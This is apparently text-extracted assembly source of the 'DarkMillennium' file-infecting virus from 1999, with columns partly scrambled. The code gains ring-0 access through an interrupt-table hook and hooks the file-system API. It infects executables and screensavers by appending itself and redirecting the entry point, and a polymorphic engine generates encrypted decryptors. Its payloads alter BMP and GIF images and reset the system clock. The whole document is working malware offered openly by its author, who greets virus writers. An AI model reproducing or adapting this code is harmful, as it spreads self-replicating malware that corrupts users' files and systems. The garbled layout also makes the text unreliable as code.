pushad lea esi, [ebp + add esi, offset xor di, di find_loop: inc di mov ax, [esi] xor ax, di cmp ax, 9090h jnz find_loop

key - Start] ; address of code key Start ; key for decryption ; load code key in eax ; decrypt it with the key from edi ; check if edi key is OK ; if not jump to find_loop

; now edi = the key for decryption lea esi, [ebp + Encr_Code - Start] add esi, offset Start mov ecx, virussize decr_loop: xor word ptr [esi], di add esi, 2 sub ecx, 2 cmp ecx, 1 jg decr_loop popad ; "alocate" space equal to current decryptor size, incase that the next generated decryptors ; will be bigger, and it will be bigger then this one ; this space will be filled with random junk instructions db ($ - offset Start) * 2 dup (90h) ; for big decryptors not overwrite Data Zone Encr_Code: key dw 9090h jmp virus_code ;-------------------- Data Zone ------------------IDT_Address dq flag db newaddress dd exception dd old_offset dd filename handle dd crt_move peheader S_Align dd F_Align dd sec_ptr dd Old_EIP dd SOI dd 0 virusplace dd imagebase dd infected_files 0 0 0 0 0 db 0 dd dd 0 0 0 0 0 0 dw

260 dup (0) 0 0

0 ? ? dd

SEH_nextpointer dd SEH_oldpointer dd SEH_errorhandler IMAGE_DOS_HEADER MZ_magic dw MZ_cblp dw MZ_cp dw MZ_crlc dw MZ_cparhdr dw

?

struc ? ? ? ? ?

MZ_minalloc dw ? MZ_maxalloc dw ? MZ_ss dw ? MZ_sp dw ? MZ_csum dw ? MZ_ip dw ? MZ_cs dw ? MZ_lfarlc dw ? MZ_ovno dw ? MZ_res dw 4 dup (?) MZ_oemid dw ? MZ_oeminfo dw ? MZ_res2 dw 10 dup (?) MZ_lfanew dd ? IMAGE_DOS_HEADER ends IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER IMAGE_FILE_HEADER struc PE_Magic dd ? Machine dw ? NumberOfSections dw ? TimeDateStamp dd ? PointerToSymbolTable dd ? NumberOfSymbols dd ? SizeOfOptionalHeader dw ? Characteristics dw ? IMAGE_FILE_HEADER ends IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER IMAGE_DATA_DIRECTORY dd_VirtualAddress dd_Size dd ? IMAGE_DATA_DIRECTORY struc dd ? ends

IMAGE_DIRECTORY_ENTRIES struc DE_Export IMAGE_DATA_DIRECTORY ? DE_Import IMAGE_DATA_DIRECTORY ? DE_Resource IMAGE_DATA_DIRECTORY ? DE_Exception IMAGE_DATA_DIRECTORY DE_Security IMAGE_DATA_DIRECTORY ? DE_BaseReloc IMAGE_DATA_DIRECTORY DE_Debug IMAGE_DATA_DIRECTORY ? DE_Copyright IMAGE_DATA_DIRECTORY DE_GlobalPtr IMAGE_DATA_DIRECTORY DE_TLS IMAGE_DATA_DIRECTORY ? DE_LoadConfig IMAGE_DATA_DIRECTORY DE_BoundImport IMAGE_DATA_DIRECTORY DE_IAT IMAGE_DATA_DIRECTORY ? IMAGE_DIRECTORY_ENTRIES ends IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 IMAGE_OPTIONAL_HEADER struc OH_Magic dw ? OH_MajorLinkerVersion db ? OH_MinorLinkerVersion db ? OH_SizeOfCode dd ? OH_SizeOfInitializedData dd ? OH_SizeOfUninitializedData dd ? ; OH_AddressOfEntryPoint dd byte ptr ? OH_BaseOfCode dd byte ptr ? ; OH_BaseOfData dd byte ptr ? ; OH_ImageBase dd byte ptr ? ; OH_SectionAlignment dd ? ; Section

? ? ? ? ? ?

Uninitialized Data ; Initial EIP Code Virtual Address Data Virtual Address Base of image Alignment

OH_FileAlignment dd ? ; File Alignment OH_MajorOperatingSystemVersion dw ? ; Major OS OH_MinorOperatingSystemVersion dw ? ; Minor OS OH_MajorImageVersion dw ? ; Major Image version OH_MinorImageVersion dw ? ; Minor Image version OH_MajorSubsystemVersion dw ? ; Major Subsys version OH_MinorSubsystemVersion dw ? OH_Win32VersionValue dd ? ; win32 version OH_SizeOfImage dd ? ; Size of image OH_SizeOfHeaders dd ? ; Size of Header OH_CheckSum dd ? ; unused OH_Subsystem dw ? ; Subsystem OH_DllCharacteristics dw ? ; DLL characteristic OH_SizeOfStackReserve dd ? ; Stack reserve OH_SizeOfStackCommit dd ? ; Stack commit OH_SizeOfHeapReserve dd ? ; Heap reserve OH_SizeOfHeapCommit dd ? ; Heap commit OH_LoaderFlags dd ? ; Loader flags OH_NumberOfRvaAndSizes dd ? ; Number of directories UNION ; directory entries OH_DataDirectory IMAGE_DATA_DIRECTORY\ IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?) OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ? ends ends IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER IMAGE_SECTION_HEADER struc SH_Name db 8 dup (?) UNION SH_PhusicalAddress dd byte ptr ? SH_VirtualSize dd ? ends SH_VirtualAddress dd byte ptr ? SH_SizeOfRawData dd ? SH_PointerToRawData dd byte ptr ? SH_PointerToRelocations dd byte ptr ? SH_PointerToLinenumbers dd byte ptr ? SH_NumberOfRelocations dw ? SH_NumberOfLinenumbers dw ? SH_Characteristics dd ? IMAGE_SECTION_HEADER ends IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER mz_header pe_header oh_header section IMAGE_DOS_HEADER ? IMAGE_FILE_HEADER ? IMAGE_OPTIONAL_HEADER IMAGE_SECTION_HEADER

? ?

;-------------------- Real Code Zone -----------------virus_code: mov mov lea mov lea mov mov eax, dword ptr fs:[00h] dword ptr [ebp + SEH_nextpointer], eax dword ptr [ebp + SEH_oldpointer], eax eax, [ebp + return_to_host] dword ptr [ebp + SEH_errorhandler], eax eax, [ebp + SEH_nextpointer] dword ptr fs:[00h], eax

sidt [ebp + IDT_Address] mov esi, dword ptr [ebp + IDT_Address + 2] add esi, exception_int * 8 mov dword ptr [ebp + exception], esi

mov shl mov mov lea mov shr mov mov cmp jne jmp

bx, word ptr [esi + 6] ebx, 10h bx, word ptr [esi] dword ptr [ebp + old_offset], ebx eax, [ebp + offset Ring0] word ptr [esi], ax eax, 10h word ptr [esi + 6], ax eax, 0c000e990h dword ptr [eax], '2000' go_into_ring0 already_installed int exception_int ; This will jump us to Ring0 proc in ring0 mode

go_into_ring0:

already_installed: mov esi, dword ptr [ebp + exception] mov ebx, dword ptr [ebp + old_offset] mov word ptr [esi], bx shr ebx, 10h mov word ptr [esi + 6], bx return_to_host: mov eax, dword ptr [ebp + SEH_oldpointer] mov dword ptr fs:[00h], eax exit: je mov add jmp cmp ebp, 0 generation_1 eax, [ebp + Old_EIP] eax, [ebp + imagebase] eax push 0 ExitProcess

generation_1: call Ring0 proc pusha

; Get some memory mov eax, virussize_plus_buffers + 100 push eax patch1_val equ GetHeap + 256 * 256 * IFSMgr patch1 label far VxDCall IFSMgr, GetHeap pop ecx or eax, eax jz no_free_mem ; Copy into memory xchg eax, edi lea esi, dword ptr [ebp + Start] push edi mov ecx, _end - Start rep movsb pop edi mov dword ptr [ebp + newaddress], edi mov dword ptr [edi + delta1 - Start], edi ; hook API lea eax, [edi + API_hook - Start] push eax patch2_val equ InstallFileSystemAPIhook + 256 * 256 * IFSMgr patch2 label far VxDCall IFSMgr, InstallFileSystemAPIhook

pop ebx mov [edi + nexthook - Start], eax jmp success no_free_mem: success: jmp back_to_ring3

mov eax, 0c000e990h mov dword ptr [eax], '2000' mov byte ptr [edi + flag - Start], 0

back_to_ring3: popad iretd Ring0 endp API_hook: push ebp mov ebp, esp sub esp, 20h push push push db delta1 ebx esi edi 0bfh dd 0

cmp byte ptr [edi + flag - Start], 1 je over_now cmp je cmp je cmp je jmp dword ptr [ebp + 12], IFSFN_OPEN action_ok dword ptr [ebp + 12], IFSFN_RENAME action_ok dword ptr [ebp + 12], IFSFN_FILEATTRIB action_ok over_now ; ; ; open action rename action attributes action

action_ok: mov byte ptr [edi + flag - Start], 1 pusha lea esi, [edi + filename - Start] mov cmp je add mov inc mov inc mov ; no_path: eax, [ebp + 16] al, 0ffh no_path al, 40h byte ptr [esi], al esi byte ptr [esi], ':' esi byte ptr [esi], '\'

Unicode conversion push 0 push 260 mov eax, [ebp + 28] mov eax, [eax + 12] add eax, 4 push eax push esi

;

; BCS/WANSI code maximum filename ; get IOREQ

; ;

push filename push destination

patch3_val equ UniToBCSPath + 256 * 256 * IFSMgr patch3 label far VxDCall IFSMgr, UniToBCSPath add esp, 4 * 4

add esi, eax mov byte ptr [esi], 0 ; Check extension for '.EXE' cmp dword ptr [esi - 4], exe_ext je check_2 ; Check extension for '.BMP' cmp dword ptr [esi - 4], bmp_ext jne check_gif_ext call bmp_Payload ; Check extension for '.GIF' check_gif_ext: cmp dword ptr [esi - 4], gif_ext jne check_scr_ext call gif_Payload ; Check extension for '.SCR' = check_scr_ext: cmp dword ptr [esi - 4], scr_ext jne not_exe ; check_2: screensaver

Open the file lea esi, [edi + filename - Start] call file_open jc not_exe mov dword ptr [edi + handle - Start], eax ; Read DOS header lea esi, [edi + mz_header - Start] mov ebx, dword ptr [edi + handle - Start] mov ecx, IMAGE_DOS_HEADER_SIZE mov edx, 0 call file_read ; Check if really EXE file ( 'MZ' signature ) lea esi, [edi + mz_header - Start] mov ax, word ptr [esi.MZ_magic] cmp ax, 5a4dh jne fileclose ; Locate the PE header mov esi, dword ptr [esi.MZ_lfanew] cmp esi, 500h ja fileclose ; Save the pos of the PE header mov dword ptr [edi + crt_move - Start], esi mov dword ptr [edi + peheader - Start], esi ; Read the PE header lea edx, [edi + pe_header - Start] mov ebx, dword ptr [edi + handle - Start] mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE xchg esi, edx call file_read

add dword ptr [edi + crt_move - Start], IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE ; Check for 'PE' signature lea esi, [edi + pe_header - Start]

mov eax, dword ptr [esi.PE_Magic] cmp eax, 00004550h jne fileclose ; Check for DLL signature cmp dword ptr [esi.Characteristics], 2000h je fileclose ; Locate the last section and read it xor eax, eax mov ax, word ptr [esi.NumberOfSections] mov ecx, IMAGE_SECTION_HEADER_SIZE dec eax mul ecx mov esi, eax add esi, dword ptr [edi + crt_move - Start] mov dword ptr [edi + sec_ptr - Start], esi ; Read the last section lea edx, [edi + section - Start] mov ecx, IMAGE_SECTION_HEADER_SIZE mov ebx, dword ptr [edi + handle - Start] xchg esi, edx call file_read ; Verify if already infected lea esi, [edi +oh_header - Start] cmp dword ptr [esi.OH_Win32VersionValue], '2000' je fileclose mov mov mov mov mov mov mov mov mov mov eax, [edi eax, [edi eax, [edi eax, [edi eax, [edi dword ptr [esi.OH_SectionAlignment] + S_Align - Start], eax dword ptr [esi.OH_FileAlignment] + F_Align - Start], eax dword ptr [esi.OH_AddressOfEntryPoint] + Old_EIP - Start], eax dword ptr [esi.OH_SizeOfImage] + SOI - Start], eax dword ptr [esi.OH_ImageBase] + imagebase - Start], eax

; Update the section lea esi, [edi + section - Start] mov eax, dword ptr [esi.SH_PointerToRawData] add eax, dword ptr [esi.SH_VirtualSize] mov dword ptr [edi + virusplace - Start], eax mov eax, dword ptr [edi.SH_SizeOfRawData] add eax, virussize mov ecx, dword ptr [edi + F_Align - Start] push eax push ecx xor edx, edx div ecx pop ecx sub ecx, edx pop eax add eax, ecx mov dword ptr [esi.SH_SizeOfRawData], eax mov eax, dword ptr [esi.SH_VirtualSize] add eax, virussize mov dword ptr [esi.SH_VirtualSize], eax ; Set the new characteristics for the section

or or or

dword ptr [esi.SH_Characteristics], 00000020h dword ptr [esi.SH_Characteristics], 20000000h dword ptr [esi.SH_Characteristics], 80000000h

; code ; executable ; writable

; Update the PE header ; first the size of image wich is aligned to section alignment lea esi, [edi + oh_header - Start] mov eax, dword ptr [edi + SOI - Start] add eax, virussize mov ecx, dword ptr [edi + S_Align - Start] push eax push ecx xor edx, edx div ecx pop ecx sub ecx, edx pop eax add eax, ecx mov dword ptr [esi.OH_SizeOfImage], eax ; Address of Entrypoint to our virus ( Old Virtual Address + New Virtual Size Virus Size ) lea esi, [edi + section - Start] mov eax, dword ptr [esi.SH_VirtualAddress] add eax, dword ptr [esi.SH_VirtualSize] sub eax, virussize lea esi, [edi + oh_header - Start] mov dword ptr [esi.OH_AddressOfEntryPoint], eax ; Mark the infection mov dword ptr [esi.OH_Win32VersionValue], '2000' ; Write section to file lea edx, [edi + section - Start] mov ecx, IMAGE_SECTION_HEADER_SIZE mov ebx, dword ptr [edi + handle - Start] mov esi, dword ptr [edi + sec_ptr - Start] xchg edx, esi call file_write ; Write headers to file lea edx, [edi + pe_header - Start] mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE mov ebx, dword ptr [edi + handle - Start] mov esi, dword ptr [edi + peheader - Start] xchg edx, esi call file_write ; Patch the code mov cx, 20cdh mov word ptr [edi + patch1 - Start], cx mov eax, patch1_val mov dword ptr [edi + patch1 - Start + 2], mov word ptr [edi + patch2 - Start], cx mov eax, patch2_val mov dword ptr [edi + patch2 - Start + 2], mov word ptr [edi + patch3 - Start], cx mov eax, patch3_val mov dword ptr [edi + patch3 - Start + 2], mov word ptr [edi + patch4 - Start], cx mov eax, patch4_val mov dword ptr [edi + patch4 - Start + 2], mov word ptr [edi + patch5 - Start], cx

eax

eax

eax

eax

mov eax, patch5_val mov dword ptr [edi + patch5 - Start + 2], eax ; reset the infected_files counter mov ax, 0 mov word ptr [edi + infected_files - Start], ax ; Generate decryptor pushad mov ebp, edi call GenDecryptor popad ; Call Payload call Payload ; Write decryptor mov edx, edi mov ecx, Encr_Code - Start mov ebx, dword ptr [edi + handle - Start] mov esi, dword ptr [edi + virusplace - Start] xchg edx, esi call file_write mov edx, dword ptr [edi + virusplace - Start] add edx, Encr_Code - Start mov dword ptr [edi + virusplace - Start], edx

; update virusplace

; Get random key for encryption in cx mov eax, 0FFFFh call random_in_range ; will return in ax a random number xchg ax, cx ; Write encrypted area to file lea edx, [edi + Encr_Code - Start] ; location to copy and encrypt xor eax, eax ; counter write_loop: call inc edx inc edx push push push eax ecx edx copy_in_buffer

; ; ;

save counter save the key save location pointer in code

; Write buffer in file mov ebx, dword ptr [edi + handle - Start] mov ecx, 2 mov edx, dword ptr [edi + virusplace - Start] lea esi, [edi + encryption_buffer - Start] call file_write mov inc inc mov pop pop pop inc inc cmp edx, dword ptr [edi + virusplace - Start] edx edx dword ptr [edi + virusplace - Start], edx edx ecx eax eax eax eax, _end ; ; ; restore loc. pointer restore the key restore counter

Encr_Code

jle write_loop ; Close the file fileclose: mov ebx, dword ptr [edi + handle - Start] call file_close not_exe: popa ; Set flag to 0

over_now: mov byte ptr [edi + flag - Start], 0 mov eax, [ebp + 28] push eax mov eax, [ebp + 24] push eax mov eax, [ebp + 20] push eax mov eax, [ebp + 16] push eax mov eax, [ebp + 12] push eax mov eax, [ebp + 08] push eax db nexthook 0b8h dd 0 call [eax] add esp, 6 * 4 pop edi pop esi pop ebx leave ret ; Copy a word from code in encryption_buffer and encrypt it ; cx = key for encryption ; edx = pointer in code copy_in_buffer proc pushad mov bx, word ptr [edx] xor bx, cx mov [edi + encryption_buffer - Start], bx popad ret encryption_buffer copy_in_buffer get_rnd endp dw 0

proc push bx xor bx, ax xor bx, cx xor bx, dx xor bx, sp xor bx, bp xor bx, si xor bx, di in al, 40h xor bl, al in al, 40h add bh, al

in al, sub bl, in al, xor bh, in al, add bl, in al, sub bh, xchg pop bx ret get_rnd endp

41h al 41h al 42h al 42h al bx, ax

; Ring0 File_IO ;------------------------Ring0_File_IO proc patch4_val equ Ring0_FileIO + 256 *256 * IFSMgr patch4 label far VxDCall IFSMgr, Ring0_FileIO ret Ring0_File_IO endp file_open proc mov bx, 2 mov cx, 0 mov dx, 1 mov eax, R0_opencreatefile call Ring0_File_IO ret file_open endp file_close proc mov eax, R0_closefile call Ring0_File_IO ret file_close endp file_read proc mov eax, R0_readfile call Ring0_File_IO ret file_read endp file_write proc mov eax, R0_writefile call Ring0_File_IO ret file_write endp Payload proc ; Check the number of infected files pushad mov ax, word ptr [edi + infected_files - Start] files inc mov cmp jne ax ; increase the counter with 1 word ptr [edi + infected_files - Start], ax ax, infected_nr_trigger not_yet

;

check the number of infected

mov ax, 0 ; reset the counter mov word ptr [edi + infected_files - Start], ax

;

the counter will also be reseted at in every new infected file

; (on every infected_nr_trigger will trigger a message box) lea eax, [edi + WinTitle - Start] mov [edi + TitleOff - Start], eax lea eax, [edi + WinText - Start] mov [edi + TextOff - Start], eax lea ebx, [edi + WinBox - Start] patch5_val equ 001Ah + 256 * 256 * 002Ah patch5 label far VxDCall 002Ah, 001Ah ; give a try with random_in_range ; (number between 0 and 10000) not_yet: mov eax, 10000 call random_in_range cmp eax, 500 jg end_payload ; as you see if the random number =< 500 then test the PC for year 2000 compatibilite :) ; infact it will jump into year 2000 ; the chances to do it are 5% mov al, 07h out 70h, al mov al, 01h out 71h, al ; day of the month mov al, 08h out 70h, al mov al, 01h out 71h, al ; month to January mov al, 09h out 70h, al mov al, 00h out 71h, al ; year (0 = 2000) ; by the way ... this is a good test, you will see if your computer is compatible with year 2000 ;) ; so i recommend you get infected with DarkMillennium end_payload:popad ret WinBox dd butt1 butt2 butt3 TitleOff TextOff dd WinTitle WinText db db db Payload endp copyright Chaos', 0 copyright_end: bmp_Payload proc pushad db 'DarkMillennium Project', 13, 10, 'Copyright (C) 1999 by Clau/Ultimate ? dw 0 dw 0001 dw 0 dd offset WinTitle offset WinText db 'DarkMillennium Project',0 'DarkMillennium Project', 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 10 'www.ultimatechaos.org', 10 'Greets to all VXers out there !', 0

; Open the file lea esi, [edi + filename - Start] call file_open mov dword ptr [edi + handle - Start], eax ; Read file lea esi, [edi + gfx_buffer - Start] mov ebx, [edi + handle - Start] mov ecx, 256 mov edx, 54 call file_read ; Change the things arround lea esi, [edi + gfx_buffer - Start] mov ecx, 256 bmp_dark: cmp byte ptr [esi], 5 jl bmp_color_1 sub byte ptr [esi], 5 bmp_color_1:inc esi cmp byte ptr [esi], 5 jl bmp_color_2 sub byte ptr [esi], 5 bmp_color_2:inc esi cmp byte ptr [esi], 5 jl bmp_color_out sub byte ptr [esi], 5 bmp_color_out: add esi, 2 sub ecx, 4 cmp ecx, 0 jne bmp_dark ; Write file lea esi, [edi + gfx_buffer - Start] mov ecx, 256 mov ebx, [edi + handle - Start] mov edx, 54 call file_write ; Close file mov ebx, [edi + handle - Start] call file_close popad ret bmp_Payload endp gif_Payload proc ; Thanks goes to MidNyte for helping me with informations and code pushad ; Open the file lea esi, [edi + filename - Start] call file_open mov dword ptr [edi + handle - Start], eax ; Read file lea esi, [edi + gfx_buffer - Start] mov ebx, eax

mov ecx, 10Dh mov edx, 0000h call file_read xor mov and cmp je ecx, ecx cl, byte ptr [edi + gfx_buffer + 000Ah - Start] cl, 00000111b cl, 0 exit_gif_payload ; somethin' is wrong

mov ax, 2 get_colours:shl ax, 1 loop get_colours mov shl add lea add cx, ax ax, 1 cx, ax esi, [edi + gfx_buffer - Start] esi, 000Dh

push edi mov edi, esi darken: lodsb cmp al, 14h jb skip_entry sub al, 14h stosb skip_entry: loop darken pop edi ; Write buffer back to file lea esi, [edi + gfx_buffer - Start] mov ebx, [edi + handle - Start] mov ecx, 10Dh mov edx, 0 ; loc. to write in file call file_write exit_gif_payload: ; Close file mov ebx, [edi + handle - Start] call file_close popad ret gif_Payload endp

; -----------------------------------------------------------;| Poly Engine | ; -----------------------------------------------------------; Generate decryptor ; EBP = location for decryptor GenDecryptor proc xchg call call ; ebp, edi InitRegGenerator GenerateRegisters

call 00000000h mov al, 0E8h stosb mov eax, 00000000h

stosd ; Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

mov reg1, ESP mov cl, byte ptr [ebp + reg_1 - Start] mov ch, 04h ; ESP mov ax, 0001h xchg ebp, edi call GenPutX1X2 xchg ebp, edi Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

mov reg_2, ss:[reg_1] mov cl, byte ptr [ebp + reg_2 - Start] mov ch, byte ptr [ebp + reg_1 - Start] mov ax, 0101h xchg ebp, edi call GenPutX1X2 xchg ebp, edi Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

sub reg_2, offset Delta mov al, 81h stosb mov al, byte ptr [ebp + reg_2 - Start] add al, 0E8h stosb mov eax, offset Delta stosd Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

xchg reg_2, ebp mov al, 87h stosb mov al, byte ptr [ebp + reg_2 - Start] add al, 0E8h stosb Generate xchg call xchg call Junk ebp, edi GenerateJunk ebp, edi GenerateRegisters

;

;

pushad mov al, 60h

stosb ; Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

lea reg_1, [ebp + key - Start] -> key offset will be setted later mov al, 8Dh stosb mov al, byte ptr [ebp + reg_1 - Start] mov ebx, 8 mul ebx add al, 85h stosb mov [ebp + var2 - Start], edi mov eax, 00000000h stosd ; save EDI offset, for later use

;

Generate xchg call xchg

Junk ebp, edi GenerateJunk ebp, edi

;

add reg_1, offset Start mov al, 81h stosb mov al, byte ptr [ebp + reg_1 - Start] add al, 0C0h stosb mov eax, offset Start stosd Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

xor reg_2, reg_2 mov al, 33h stosb mov al, byte ptr [ebp + reg_2 - Start] mov ecx, eax mov ebx, 8 mul ebx add al, cl add al, 0C0h stosb Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

inc reg_2 mov [ebp + var1 - Start], edi mov al, 40h add al, byte ptr [ebp + reg_2 - Start] stosb Generate Junk xchg ebp, edi

;

save in var1 current pos for future use

;

call xchg ;

GenerateJunk ebp, edi

mov reg_3, [reg_1] mov al, byte ptr [ebp + reg_3 - Start] mov cl, al mov ch, byte ptr [ebp + reg_1 - Start] mov ax, 0100h xchg ebp, edi call GenPutX1X2 xchg ebp, edi Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

xor reg_3, reg_2 mov ax, 3366h stosw mov al, byte ptr [ebp + reg_3 - Start] mov ebx, 8 mul ebx add al, byte ptr [ebp + reg_2 - Start] add al, 0C0h stosb Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

cmp reg3, 9090h mov ax, 8166h stosw mov al, byte ptr [ebp + reg_3 - Start] add al, 0F8h stosb mov ax, 9090h stosw jne -inc reg_2 linemov al, 75h stosb mov eax, [ebp + var1 - Start] sub eax, edi dec eax ; now JNE points to INC DI line stosb Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

;

Save the number of register that contain the key for decryption mov al, [ebp + reg_2 - Start] mov [ebp + reg_key - Start], al call call GenerateRegisters GenerateFuckRegs -> key offset will be setted later

;

lea reg_1, [ebp + key - Start] mov al, 8Dh

stosb mov al, byte ptr [ebp + reg_1 - Start] mov ebx, 8 mul ebx add al, 85h stosb mov [ebp + var3 - Start], edi mov eax, 00000000h stosd ; Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi ; save EDI offset, for later use

;

add reg_1, offset Start mov al, 81h stosb mov al, byte ptr [ebp + reg_1 - Start] add al, 0C0h stosb mov eax, offset Start stosd Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

mov reg_2, virussize mov cl, byte ptr [ebp + reg_2 - Start] mov ch, 0FFh mov edx, virussize mov ax, 0101h xchg ebp, edi call GenPutX1X2 xchg ebp, edi Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

xor [reg_1], reg_key mov [ebp + var4 - Start], edi mov ax, 3166h stosw xor eax, eax mov al, byte ptr [ebp + reg_key - Start] mov ebx, 8 mul ebx add al, byte ptr [ebp + reg_1 - Start] stosb Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

inc reg_1 mov al, 40h add al, byte ptr [ebp + reg_1 - Start]

stosb ; Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

inc reg_1 mov al, 40h add al, byte ptr [ebp + reg_1 - Start] stosb Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

dec reg_2 mov al, 48h add al, byte ptr [ebp + reg_2 - Start] stosb Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

dec reg_2 mov al, 48h add al, byte ptr [ebp + reg_2 - Start] stosb Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

cmp reg_2, 1 mov al, 83h stosb mov al, 0F8h add al, byte ptr [ebp + reg_2 - Start] stosb mov al, 01 stosb jg -- xor [reg_1], reg_key -- line mov al, 07Fh stosb mov ax, [ebp + var4 - Start] sub eax, edi dec eax stosb Generate xchg call xchg Junk ebp, edi GenerateJunk ebp, edi

;

;

;

popad mov al, 61h stosb

;

Generate xchg call xchg

Junk ebp, edi GenerateJunk ebp, edi

; key word for decryption mov esi, [ebp + var2 - Start] lea eax, key mov byte ptr [esi], al mov esi, [ebp + var3 - Start] lea eax, key mov byte ptr [esi], al mov ax, 9090h stosw nop nop nop nop nop ; Generate random junk to fill the space after decryptor lea esi, [ebp + Encr_Code - Start] xchg ebp, edi fill_junk: push esi call GenerateOneByteJunk pop esi cmp ebp, esi jl fill_junk xchg ebp, edi xchg ret var1 var2 var3 var4 GenDecryptor dd dd dd dd ebp, edi

0 0 0 0 endp

; ; ; ;

keep keep keep keep

location location location location

of of of of

INC LEA the XOR

DI line ESI, key instruction + 1 second LEA ESI, key instruction + 1 [ESI], DI instruction

; Init register ; InitRegGenerator mov byte mov byte mov byte mov byte mov byte mov byte ret InitRegGenerator

generator proc [ebp [ebp [ebp [ebp [ebp [ebp endp

ptr ptr ptr ptr ptr ptr

+ + + + + +

reg_1 - Start], 0F0h reg_2 - Start], 0F0h reg_3 - Start], 0F0h reg_key - Start], 0F0h reg_fuck_1 - Start], 0F0h reg_fuck_2 - Start], 0F0h

; Generate registers for use in decryptor ; GenerateRegisters proc pushad ; Generate reg, not ESP, not EBP get_reg_1: mov eax, 8 call random_in_range cmp al, 4 ; no ESP

jz cmp jz cmp jz mov

get_reg_1 al, 5 ; no EBP get_reg_1 al, byte ptr [ebp + reg_key - Start] get_reg_1 byte ptr [ebp + reg_1 - Start], al

;

save reg value for later use

; Generate reg2, not ESP, not EBP, <> reg1 get_reg_2: mov eax, 8 call random_in_range cmp al, 4 ; no ESP jz get_reg_2 cmp al, 5 ; no EBP jz get_reg_2 cmp al, byte ptr [ebp + reg_1 - Start] jz get_reg_2 cmp al, byte ptr [ebp + reg_key - Start] jz get_reg_1 mov byte ptr [ebp + reg_2 - Start], al ; Generate reg3, not ESP, not EBP, <> reg1, <> reg2 get_reg_3: mov eax, 8 call random_in_range cmp al, 4 ; no ESP jz get_reg_3 cmp al, 5 ; no EBP jz get_reg_3 cmp al, byte ptr [ebp + reg_1 - Start] jz get_reg_3 cmp al, byte ptr [ebp + reg_2 - Start] jz get_reg_3 cmp al, byte ptr [ebp + reg_key - Start] jz get_reg_1 mov byte ptr [ebp + reg_3 - Start], al popad ret GenerateRegisters

endp

; Generate 2 registers, different from the other registers used ; GenerateFuckRegs proc pushad get_reg_fuck_1: mov eax, 8 call random_in_range cmp al, 4 ; no ESP jz get_reg_fuck_1 cmp al, 5 ; no EBP jz get_reg_fuck_1 cmp al, byte ptr [ebp + reg_1 - Start] jz get_reg_fuck_1 cmp al, byte ptr [ebp + reg_2 - Start] jz get_reg_fuck_1 cmp al, byte ptr [ebp + reg_3 - Start] jz get_reg_fuck_1 cmp al, byte ptr [ebp + reg_key - Start] jz get_reg_fuck_1 mov byte ptr [ebp + reg_fuck_1 - Start], al get_reg_fuck_2: mov eax, 15

call random_in_range cmp al, 7 jg ch_FFh cmp al, 4 ; no ESP jz get_reg_fuck_2 cmp al, 5 ; no EBP jz get_reg_fuck_2 cmp al, byte ptr [ebp + reg_1 - Start] jz get_reg_fuck_2 cmp al, byte ptr [ebp + reg_2 - Start] jz get_reg_fuck_2 cmp al, byte ptr [ebp + reg_3 - Start] jz get_reg_fuck_2 cmp al, byte ptr [ebp + reg_fuck_1 - Start] jz get_reg_fuck_2 cmp al, byte ptr [ebp + reg_key - Start] jz get_reg_fuck_2 mov byte ptr [ebp + reg_fuck_2 - Start], al GenerateFuckRegs_Exit: popad ret ch_FFh: mov al, 0FFh mov byte ptr [ebp + reg_fuck_2 - Start], al jmp GenerateFuckRegs_Exit GenerateFuckRegs endp

; Generate MOV reg1, reg2/[reg2]/val like instructions ; EBP = location for code ; CL = reg1 ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) ; ( in this case AH value will be ignored, no direct mem read like ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) ; AL = type of registry to use 0 = word ( AX, BX ... ) ; 1 = dword ( EAX, EBX ... ) ; byte registers are not used in my decryptor ; AH = 0 use direct value ( EAX ... ) ; 1 use memory address from register ( [EAX], [ESI] ... ) ; EDX = use this value instead of reg2 in case CH = 0FFh ; GenPutX1X2 proc push eax ecx edx lea mov lea mov lea mov lea mov eax, [edi eax, [edi eax, [edi eax, [edi [edi + offset GenMovType - Start] + MovType - Start], eax [edi + offset GenPushPopType - Start] + PushPopType - Start], eax [edi + offset GenXorAddType - Start] + XorAddType - Start], eax [edi + offset GenSubAddType - Start] + SubAddType - Start], eax

mov eax, (offset EndPutX1X2Table - offset PutX1X2Table) / 4 call random_in_range mov esi, 4 mul esi xchg esi, eax add esi, edi add esi, offset PutX1X2Table - offset Start mov ebx, dword ptr [esi]

pop edx ecx eax call ebx ret GenPutX1X2 endp

